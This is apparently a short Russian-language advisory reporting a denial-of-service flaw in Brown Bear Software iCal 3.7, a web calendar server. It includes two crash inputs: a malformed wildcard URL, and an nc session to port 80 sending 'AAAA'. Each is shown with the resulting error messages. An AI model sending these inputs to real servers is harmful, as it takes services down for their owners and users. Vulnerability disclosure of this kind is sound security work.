iCal – Web календарь, который можно просматривать и администрировать через Web интерфейс. Работа программы аварийно завершится при получении некоторых некорректных Web запросов. Пример: 

http//target/* 
error message:Unable to write to D:\program files\iCl 3.7 
Web Calender\*.cal (the server is down) 

nc target 80 
AAAA 
[ enter ] 
error message:Access violation at address 00403d8b in 
module’ICAL.EXE’ Read of address 0161c1af 

Уязвимость обнаружена в Brown Bear Software iCal 3.7.

Оставить мнение